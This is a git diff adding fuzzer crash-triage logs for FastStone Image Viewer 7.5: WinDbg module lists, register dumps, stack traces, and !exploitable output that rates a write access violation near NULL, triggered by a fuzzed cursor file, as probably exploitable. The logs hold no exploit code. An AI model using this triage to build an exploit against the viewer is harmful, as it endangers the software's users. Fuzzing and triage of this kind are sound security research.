00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1600.1a18): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07df7b19 edx=00000000 esi=00000000 edi=0fc3cfd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.701640555023320160000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-7.16689e-033 21.3692 7.8805e+030 -3.06649e+030 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07ed8130 07e55930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00260000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00260000 8d8201e9 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62bc 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00260000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/20920/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/20920/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..ddbbf62 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/20920/WindowsDebugEngine_description.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1600: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1600: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1600.1a18): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07df7b19 edx=00000000 esi=00000000 edi=0fc3cfd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.701640555023320160000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-7.16689e-033 21.3692 7.8805e+030 -3.06649e+030 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07ed8130 07e55930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00260000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00260000 8d8201e9 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62bc 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00260000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/20920/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/20920/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..e0eca22 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/20920/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/21550/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/21550/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/21550/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/21550/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/21550/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..8beab90 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/21550/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/21550/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/21550/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..542e916 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/21550/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,175 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x290: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x290: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`001d0000 00000000`001f8000 C:\Windows\SysWOW64\WINMM.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll 